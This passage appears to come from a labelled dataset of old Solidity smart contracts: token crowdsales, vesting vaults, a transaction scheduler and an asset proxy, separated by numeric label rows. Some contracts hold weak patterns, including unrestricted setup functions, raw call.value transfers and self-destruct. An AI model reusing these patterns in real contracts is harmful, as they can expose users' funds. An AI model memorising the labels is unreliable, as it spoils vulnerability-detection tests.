}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract TapcoinToken is CrowdsaleToken {
function TapcoinToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
} | 1 | 3,581 |
pragma solidity ^0.4.24;
contract AionClient {
address private AionAddress;
constructor(address addraion) public{
AionAddress = addraion;
}
function execfunct(address to, uint256 value, uint256 gaslimit, bytes data) external returns(bool) {
require(msg.sender == AionAddress);
return to.call.value(value).gas(gaslimit)(data);
}
function () payable public {}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract Aion {
using SafeMath for uint256;
address public owner;
uint256 public serviceFee;
uint256 public AionID;
uint256 public feeChangeInterval;
mapping(address => address) public clientAccount;
mapping(uint256 => bytes32) public scheduledCalls;
event ExecutedCallEvent(address indexed from, uint256 indexed AionID, bool TxStatus, bool TxStatus_cancel, bool reimbStatus);
event ScheduleCallEvent(uint256 indexed blocknumber, address indexed from, address to, uint256 value, uint256 gaslimit,
uint256 gasprice, uint256 fee, bytes data, uint256 indexed AionID, bool schedType);
event CancellScheduledTxEvent(address indexed from, uint256 Total, bool Status, uint256 indexed AionID);
event feeChanged(uint256 newfee, uint256 oldfee);
constructor () public {
owner = msg.sender;
serviceFee = 500000000000000;
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner);
withdraw();
owner = newOwner;
}
function createAccount() internal {
if(clientAccount[msg.sender]==address(0x0)){
AionClient newContract = new AionClient(address(this));
clientAccount[msg.sender] = address(newContract);
}
}
function ScheduleCall(uint256 blocknumber, address to, uint256 value, uint256 gaslimit, uint256 gasprice, bytes data, bool schedType) public payable returns (uint,address){
require(msg.value == value.add(gaslimit.mul(gasprice)).add(serviceFee));
AionID = AionID + 1;
scheduledCalls[AionID] = keccak256(abi.encodePacked(blocknumber, msg.sender, to, value, gaslimit, gasprice, serviceFee, data, schedType));
createAccount();
clientAccount[msg.sender].transfer(msg.value);
emit ScheduleCallEvent(blocknumber, msg.sender, to, value, gaslimit, gasprice, serviceFee, data, AionID, schedType);
return (AionID,clientAccount[msg.sender]);
}
function executeCall(uint256 blocknumber, address from, address to, uint256 value, uint256 gaslimit, uint256 gasprice,
uint256 fee, bytes data, uint256 aionId, bool schedType) external {
require(msg.sender==owner);
if(schedType) require(blocknumber <= block.timestamp);
if(!schedType) require(blocknumber <= block.number);
require(scheduledCalls[aionId]==keccak256(abi.encodePacked(blocknumber, from, to, value, gaslimit, gasprice, fee, data, schedType)));
AionClient instance = AionClient(clientAccount[from]);
require(instance.execfunct(address(this), gasprice*gaslimit+fee, 2100, hex"00"));
bool TxStatus = instance.execfunct(to, value, gasleft().sub(50000), data);
bool TxStatus_cancel;
if(!TxStatus && value>0){TxStatus_cancel = instance.execfunct(from, value, 2100, hex"00");}
delete scheduledCalls[aionId];
bool reimbStatus = from.call.value((gasleft()).mul(gasprice)).gas(2100)();
emit ExecutedCallEvent(from, aionId,TxStatus, TxStatus_cancel, reimbStatus);
}
function cancellScheduledTx(uint256 blocknumber, address from, address to, uint256 value, uint256 gaslimit, uint256 gasprice,
uint256 fee, bytes data, uint256 aionId, bool schedType) external returns(bool) {
if(schedType) require(blocknumber >= block.timestamp+(3 minutes) || blocknumber <= block.timestamp-(5 minutes));
if(!schedType) require(blocknumber > block.number+10 || blocknumber <= block.number-20);
require(scheduledCalls[aionId]==keccak256(abi.encodePacked(blocknumber, from, to, value, gaslimit, gasprice, fee, data, schedType)));
require(msg.sender==from);
AionClient instance = AionClient(clientAccount[msg.sender]);
bool Status = instance.execfunct(from, value+gasprice*gaslimit+fee, 3000, hex"00");
require(Status);
emit CancellScheduledTxEvent(from, value+gasprice*gaslimit+fee, Status, aionId);
delete scheduledCalls[aionId];
return true;
}
function withdraw() public {
require(msg.sender==owner);
owner.transfer(address(this).balance);
}
function updatefee(uint256 fee) public{
require(msg.sender==owner);
require(feeChangeInterval<block.timestamp);
uint256 oldfee = serviceFee;
if(fee>serviceFee){
require(((fee.sub(serviceFee)).mul(100)).div(serviceFee)<=10);
serviceFee = fee;
} else{
serviceFee = fee;
}
feeChangeInterval = block.timestamp + (1 days);
emit feeChanged(serviceFee, oldfee);
}
function () public payable {
}
} | 0 | 1,291 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
pragma solidity ^0.4.18;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
pragma solidity ^0.4.18;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.19;
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
return true;
}
function () public {
revert();
}
}
pragma solidity ^0.4.19;
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint);
function endTime() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
function price() public view returns(uint);
}
pragma solidity ^0.4.19;
contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase {
uint256 public constant USD_PER_TOKEN = 2;
uint256 public constant USD_PER_ETHER = 1000;
uint256 public start;
uint256 public end;
uint256 public cap;
address public wallet;
uint256 public tokenPerEth;
uint256 public availableTokens;
address[] public kycSigners;
bool public capReached;
uint256 public weiRaised;
uint256 public tokensSold;
function CrowdsaleBase(
uint256 _start,
uint256 _end,
uint256 _cap,
address _wallet,
address[] _kycSigners
)
public
KYCBase(_kycSigners)
{
require(_end >= _start);
require(_cap > 0);
start = _start;
end = _end;
cap = _cap;
wallet = _wallet;
tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN);
availableTokens = _cap;
kycSigners = _kycSigners;
}
function started() public view returns(bool) {
if (block.timestamp >= start) {
return true;
} else {
return false;
}
}
function ended() public view returns(bool) {
if (block.timestamp >= end) {
return true;
} else {
return false;
}
}
function startTime() public view returns(uint) {
return start;
}
function endTime() public view returns(uint) {
return end;
}
function totalTokens() public view returns(uint) {
return cap;
}
function remainingTokens() public view returns(uint) {
return availableTokens;
}
function senderAllowedFor(address buyer) internal view returns(bool) {
require(buyer != address(0));
return true;
}
function releaseTokensTo(address buyer) internal returns(bool) {
require(validPurchase());
uint256 overflowTokens;
uint256 refundWeiAmount;
uint256 weiAmount = msg.value;
uint256 tokenAmount = weiAmount.mul(price());
if (tokenAmount >= availableTokens) {
capReached = true;
overflowTokens = tokenAmount.sub(availableTokens);
tokenAmount = tokenAmount.sub(overflowTokens);
refundWeiAmount = overflowTokens.div(price());
weiAmount = weiAmount.sub(refundWeiAmount);
buyer.transfer(refundWeiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
availableTokens = availableTokens.sub(tokenAmount);
mintTokens(buyer, tokenAmount);
forwardFunds(weiAmount);
return true;
}
function forwardFunds(uint256 _weiAmount) internal {
wallet.transfer(_weiAmount);
}
function validPurchase() internal view returns (bool) {
require(!paused && !capReached);
require(block.timestamp >= start && block.timestamp <= end);
return true;
}
function mintTokens(address to, uint256 amount) private;
}
pragma solidity ^0.4.19;
contract Reservation is CrowdsaleBase {
uint256 public constant START_TIME = 1525683600;
uint256 public constant END_TIME = 1525856400;
uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18;
uint256 public constant BONUS = 110;
UacCrowdsale public crowdsale;
function Reservation(
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners)
{
}
function setCrowdsale(address _crowdsale) public {
require(crowdsale == address(0));
crowdsale = UacCrowdsale(_crowdsale);
}
function price() public view returns (uint256) {
return tokenPerEth.mul(BONUS).div(1e2);
}
function mintTokens(address to, uint256 amount) private {
crowdsale.mintReservationTokens(to, amount);
}
}
pragma solidity ^0.4.18;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.18;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.18;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
pragma solidity ^0.4.18;
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.19;
contract UacToken is CanReclaimToken, MintableToken, PausableToken {
string public constant name = "Ubiatar Coin";
string public constant symbol = "UAC";
uint8 public constant decimals = 18;
function UacToken() public {
paused = true;
}
}
pragma solidity ^0.4.19;
contract UbiatarPlayVault {
using SafeMath for uint256;
using SafeERC20 for UacToken;
uint256[6] public vesting_offsets = [
90 days,
180 days,
270 days,
360 days,
540 days,
720 days
];
uint256[6] public vesting_amounts = [
2e6 * 1e18,
4e6 * 1e18,
6e6 * 1e18,
8e6 * 1e18,
10e6 * 1e18,
20.5e6 * 1e18
];
address public ubiatarPlayWallet;
UacToken public token;
uint256 public start;
uint256 public released;
function UbiatarPlayVault(
address _ubiatarPlayWallet,
address _token,
uint256 _start
)
public
{
ubiatarPlayWallet = _ubiatarPlayWallet;
token = UacToken(_token);
start = _start;
}
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(ubiatarPlayWallet, unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public view returns (uint256) {
uint256 vested = 0;
for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) {
if (block.timestamp > start.add(vesting_offsets[i])) {
vested = vested.add(vesting_amounts[i]);
}
}
return vested;
}
}
pragma solidity ^0.4.17;
contract PresaleTokenVault {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256 public constant VESTING_OFFSET = 90 days;
uint256 public constant VESTING_DURATION = 180 days;
uint256 public start;
uint256 public cliff;
uint256 public end;
ERC20Basic public token;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
Investment[] public investments;
mapping(address => uint256) public investorLUT;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_OFFSET);
end = cliff.add(VESTING_DURATION);
token = ERC20Basic(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investorLUT[beneficiaries[i]] = investments.length;
investments.push(Investment(beneficiaries[i], balances[i], 0));
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
uint256 investmentIndex = investorLUT[beneficiary];
investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
return vestedAmount(beneficiary).sub(investments[investmentIndex].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[investmentIndex].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 p1 = investments[investmentIndex].totalBalance.div(3);
uint256 p2 = investments[investmentIndex].totalBalance;
uint256 d_token = p2.sub(p1);
uint256 time = block.timestamp.sub(cliff);
uint256 d_time = end.sub(cliff);
vested = vested.add(d_token.mul(time).div(d_time));
}
if (block.timestamp >= end) {
vested = investments[investmentIndex].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.19;
contract UacCrowdsale is CrowdsaleBase {
uint256 public constant START_TIME = 1525856400;
uint256 public constant END_TIME = 1528448400;
uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days;
uint256 public constant PRESALE_CAP = 17584778551358900100698693;
uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18;
uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18;
uint256 public constant FOUNDERS_CAP = 12e6 * 1e18;
uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18;
uint256 public constant ADVISORS_CAP = 4915221448641099899301307;
uint256 public constant BONUS_TIER1 = 108;
uint256 public constant BONUS_TIER2 = 106;
uint256 public constant BONUS_TIER3 = 104;
uint256 public constant BONUS_DURATION_1 = 3 hours;
uint256 public constant BONUS_DURATION_2 = 12 hours;
uint256 public constant BONUS_DURATION_3 = 42 hours;
uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years;
uint256 public constant FOUNDERS_VESTING_DURATION = 2 years;
Reservation public reservation;
PresaleTokenVault public presaleTokenVault;
TokenVesting public foundersVault;
UbiatarPlayVault public ubiatarPlayVault;
address public foundersWallet;
address public advisorsWallet;
address public ubiatarPlayWallet;
address public wallet;
UacToken public token;
bool public didOwnerEndCrowdsale;
function UacCrowdsale(
address _token,
address _reservation,
address _presaleTokenVault,
address _foundersWallet,
address _advisorsWallet,
address _ubiatarPlayWallet,
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners)
{
token = UacToken(_token);
reservation = Reservation(_reservation);
presaleTokenVault = PresaleTokenVault(_presaleTokenVault);
foundersWallet = _foundersWallet;
advisorsWallet = _advisorsWallet;
ubiatarPlayWallet = _ubiatarPlayWallet;
wallet = _wallet;
foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false);
ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME);
}
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(address(foundersVault), FOUNDERS_CAP);
mintTokens(advisorsWallet, ADVISORS_CAP);
mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP);
}
function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner {
require(beneficiaries.length == balances.length);
presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token);
uint256 totalPresaleBalance = 0;
uint256 balancesLength = balances.length;
for(uint256 i = 0; i < balancesLength; i++) {
totalPresaleBalance = totalPresaleBalance.add(balances[i]);
}
mintTokens(presaleTokenVault, totalPresaleBalance);
}
function price() public view returns (uint256 _price) {
if (block.timestamp <= start.add(BONUS_DURATION_1)) {
return tokenPerEth.mul(BONUS_TIER1).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_2)) {
return tokenPerEth.mul(BONUS_TIER2).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_3)) {
return tokenPerEth.mul(BONUS_TIER3).div(1e2);
}
return tokenPerEth;
}
function mintReservationTokens(address to, uint256 amount) public {
require(msg.sender == address(reservation));
tokensSold = tokensSold.add(amount);
availableTokens = availableTokens.sub(amount);
mintTokens(to, amount);
}
function mintTokens(address to, uint256 amount) private {
token.mint(to, amount);
}
function closeCrowdsale() public onlyOwner {
require(block.timestamp >= START_TIME && block.timestamp < END_TIME);
didOwnerEndCrowdsale = true;
}
function finalise() public onlyOwner {
require(didOwnerEndCrowdsale || block.timestamp > end || capReached);
token.finishMinting();
token.unpause();
token.transferOwnership(owner);
}
} | 0 | 1,853 |
pragma solidity ^0.4.18;
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract ATxProxy is ERC20 {
bytes32 public smbl;
address public platform;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function getLatestVersion() public returns (address);
function init(address _bmcPlatform, string _symbol, string _name) public;
function proposeUpgrade(address _newVersion) public;
}
contract DataControllerInterface {
function isHolderAddress(address _address) public view returns (bool);
function allowance(address _user) public view returns (uint);
function changeAllowance(address _holder, uint _value) public returns (uint);
}
contract ServiceControllerInterface {
function isService(address _address) public view returns (bool);
}
contract ATxAssetInterface {
DataControllerInterface public dataController;
ServiceControllerInterface public serviceController;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function __process(bytes , address ) payable public {
revert();
}
}
contract AssetProxy is ERC20 {
bytes32 public smbl;
address public platform;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function getLatestVersion() public returns (address);
function init(address _bmcPlatform, string _symbol, string _name) public;
function proposeUpgrade(address _newVersion) public;
}
contract BasicAsset is ATxAssetInterface {
address public proxy;
modifier onlyProxy() {
if (proxy == msg.sender) {
_;
}
}
function init(address _proxy) public returns (bool) {
if (address(proxy) != 0x0) {
return false;
}
proxy = _proxy;
return true;
}
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public onlyProxy returns (bool) {
return _transferWithReference(_to, _value, _reference, _sender);
}
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyProxy returns (bool) {
return _transferFromWithReference(_from, _to, _value, _reference, _sender);
}
function __approve(address _spender, uint _value, address _sender) public onlyProxy returns (bool) {
return _approve(_spender, _value, _sender);
}
function _transferWithReference(address _to, uint _value, string _reference, address _sender) internal returns (bool) {
return AssetProxy(proxy).__transferWithReference(_to, _value, _reference, _sender);
}
function _transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) internal returns (bool) {
